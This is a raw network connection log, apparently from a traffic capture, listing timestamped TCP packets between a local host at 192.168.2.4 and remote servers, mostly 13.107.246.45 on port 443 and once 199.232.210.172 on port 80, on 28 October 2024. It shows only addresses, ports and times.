Oct 28, 2024 06:28:07.451473951 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.451644897 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.451719999 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.451798916 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.451800108 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.451843023 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.451869965 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.454365969 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.454430103 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.454524040 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.454682112 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.454700947 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.483616114 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.483897924 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.483967066 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.484035969 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.484035969 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.484067917 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.484092951 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.484401941 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.484791994 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.484852076 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.484910965 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.484910965 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.484925032 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.484944105 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.486382008 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.486404896 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.486480951 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.486602068 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.486609936 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.487147093 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.487178087 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.487245083 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.487447977 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.487462044 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.494332075 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.494486094 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.494555950 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.494620085 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.494645119 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.494668961 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.494680882 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.496983051 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.497013092 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.497112036 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.497282028 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.497293949 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.743211985 CET	49724	80	192.168.2.4	199.232.210.172
Oct 28, 2024 06:28:07.748862028 CET	80	49724	199.232.210.172	192.168.2.4
Oct 28, 2024 06:28:07.748981953 CET	49724	80	192.168.2.4	199.232.210.172
Oct 28, 2024 06:28:08.194499016 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.195127010 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.195137978 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.195573092 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.195579052 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.199814081 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.200285912 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.200319052 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.200772047 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.200782061 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.214405060 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.214734077 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.214749098 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.215289116 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.215296030 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.233068943 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.233442068 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.233449936 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.233777046 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.233781099 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.257684946 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.258200884 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.258246899 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.258694887 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.258703947 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.325081110 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.325148106 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.325211048 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.325459003 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.325479031 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.325496912 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.325504065 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.328850031 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.328879118 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.328969955 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.329103947 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.329121113 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.330104113 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.330322981 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.330476046 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.330476046 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.330476046 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.332607985 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.332640886 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.332727909 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.332825899 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.332834005 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.343193054 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.343370914 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.343436956 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.343458891 CET	49826	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.343466997 CET	443	49826	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.345716000 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.345731020 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.345828056 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.345931053 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.345944881 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.365889072 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.366033077 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.366097927 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.366134882 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.366144896 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.366163969 CET	49828	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.366169930 CET	443	49828	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.368451118 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.368489981 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.368566036 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.368640900 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.368650913 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.394150019 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.394294024 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.394361973 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.394520998 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.394542933 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.394556999 CET	49827	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.394565105 CET	443	49827	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.396619081 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.396707058 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.396806002 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.396927118 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.396964073 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:08.633359909 CET	49825	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:08.633389950 CET	443	49825	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.076355934 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.076884031 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.079036951 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.079051018 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.080290079 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.080296993 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.080899954 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.080981970 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.083445072 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.085692883 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.085710049 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.086014986 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.086035967 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.087634087 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.087646961 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.104037046 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.109330893 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.109370947 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.110091925 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.110099077 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.134545088 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.135029078 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.135091066 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.135627031 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.135643005 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.210546970 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.210865974 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.211064100 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.211102009 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.211102009 CET	49830	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.211123943 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.211133957 CET	443	49830	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.213464975 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.213573933 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.213673115 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.213877916 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.213941097 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.213962078 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.213996887 CET	49829	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.214015007 CET	443	49829	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.214255095 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.214323997 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.214536905 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.214555025 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.214580059 CET	49831	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.214590073 CET	443	49831	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.216412067 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.216447115 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.216526031 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.216850996 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.216866970 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.217721939 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.217771053 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.217880011 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.218012094 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.218038082 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.218341112 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.218446970 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.218533039 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.218694925 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.218715906 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.243418932 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.243585110 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.243658066 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.243726015 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.243736029 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.243748903 CET	49832	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.243753910 CET	443	49832	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.246426105 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.246475935 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.246562958 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.246757030 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.246778965 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.264640093 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.264853001 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.264981985 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.265060902 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.265096903 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.265126944 CET	49833	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.265141964 CET	443	49833	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.267622948 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.267677069 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:09.267761946 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.267942905 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:09.267978907 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.076056004 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.076827049 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.076868057 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.077475071 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.077486992 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.077867031 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.078211069 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.078500986 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.078567028 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.079016924 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.079034090 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.079436064 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.079484940 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.079935074 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.079950094 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.080905914 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.081362963 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.081382990 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.081898928 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.081906080 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.203716040 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.203856945 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.203923941 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.204128027 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.204149961 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.204163074 CET	49834	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.204171896 CET	443	49834	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.206655025 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.206765890 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.206841946 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.207629919 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.207715988 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.207807064 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.207839012 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.207901955 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.207941055 CET	49835	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.207958937 CET	443	49835	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.208287001 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.208352089 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.208411932 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.209044933 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.209075928 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.209117889 CET	49838	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.209134102 CET	443	49838	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.210177898 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.210218906 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.210738897 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.210892916 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.210959911 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.211029053 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.211050034 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.211081028 CET	49837	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.211108923 CET	443	49837	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.213610888 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.213668108 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.213757992 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.213906050 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.213927031 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.215042114 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.215068102 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.215117931 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.216963053 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.216988087 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.217063904 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.217106104 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.217123032 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.217437029 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.217467070 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.283483028 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.284058094 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.284097910 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.284703016 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.284710884 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.413980007 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.414057016 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.414140940 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.422765970 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.422784090 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.422827005 CET	49836	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.422833920 CET	443	49836	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.520056009 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.520123959 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.520241022 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.521267891 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.521286964 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.950927973 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.951756954 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.951800108 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.952385902 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.952400923 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.955202103 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.955615044 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.955655098 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.955678940 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.956017971 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.956032991 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.956193924 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.956199884 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.956619978 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.956629992 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.958937883 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.959239006 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.959258080 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:10.959721088 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:10.959733009 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.083723068 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.083928108 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.084032059 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.084222078 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.084260941 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.084305048 CET	49840	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.084321976 CET	443	49840	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.086911917 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.087055922 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.087138891 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.087210894 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.087210894 CET	49841	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.087233067 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.087244034 CET	443	49841	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.088331938 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.088404894 CET	443	49844	13.107.246.45	192.168.2.4
